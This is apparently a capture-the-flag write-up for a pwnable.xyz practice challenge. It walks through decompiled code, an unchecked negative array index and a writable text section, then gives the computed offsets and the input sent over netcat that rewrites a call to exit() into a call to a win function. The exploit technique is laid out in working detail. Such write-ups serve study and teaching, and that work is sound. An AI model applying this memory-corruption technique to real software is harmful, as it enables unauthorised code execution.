int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
__int64 v6[2]; // [rsp+20h] [rbp-10h] BYREF
v6[1] = __readfsqword(0x28u);
puts("The Poopolator");
setup();
while ( 1 )
{
v6[0] = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, v6);
if ( !v4 || !v5 || !v6[0] || v6[0] > 9 || v3 != 3 )
break;
result[v6[0]] = v5 ^ v4;
printf("Result: %ld\n", result[v6[0]]);
}
exit(1);
}
we can write v4^v5 to result array in
There is a win
function prints flag.
The index can’t exceed 9 but there is no limit to negative numbers.
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
PIE and RelRO is enabled.
so we can’t overwrite got address and don’t know the address of win function.
0x0000000008000000 0x0000000008001000 0x0000000000000000 rwx
but in vmmap
, we can notice text section is writeable ??
so we can edit the instructions
Let’s edit the call exit()
0x0000000008000ac8 <+148>: call 0x8000830 <exit@plt>
gef➤ x/gx 0x0000000008000ac8
0x8000ac8 <main+148>: 0x458b48fffffd63e8
in main+148
, there is a call 0x8000830
instruction.
but disassemblying with disasm
function in pwntools,
the result is call 0xfffffd68
( = -664 )
0x8000ac8 - 664 = 0x8000830
This is called a RIP related call.
The offset of win function is 0xa21,
0xa21 - 0xac8 - 5 ( because of the instruction size )= -172
Change the instructioni with call 0xffffff54(-172)
asm : 0xffffff54e8
xored with 1 : ffffff54e9 ( 1099511583977 )
the offset difference between result
and main+148
is as follows.
gef➤ p 0x8202200 - 0x0000000008000ac8
$1 = 0x201738
-2103096 / 8 = -262887
❯ nc svc.pwnable.xyz 30029
The Poopolator
> 💩 1 1099511583977 -262887
Result: 1099511583976
> 💩 0 0 0